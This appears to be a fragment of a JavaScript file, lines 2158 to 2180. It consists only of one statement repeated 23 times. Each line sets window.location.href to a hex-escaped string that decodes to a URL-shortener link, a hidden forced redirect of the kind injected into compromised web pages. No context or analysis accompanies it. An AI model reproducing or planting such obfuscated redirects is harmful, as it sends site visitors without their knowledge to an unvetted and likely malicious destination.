2158window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2159window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2160window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2161window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2162window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2163window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2164window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2165window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2166window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2167window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2168window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2169window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2170window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2171window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2172window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2173window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2174window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2175window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2176window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2177window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2178window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2179window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2180window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";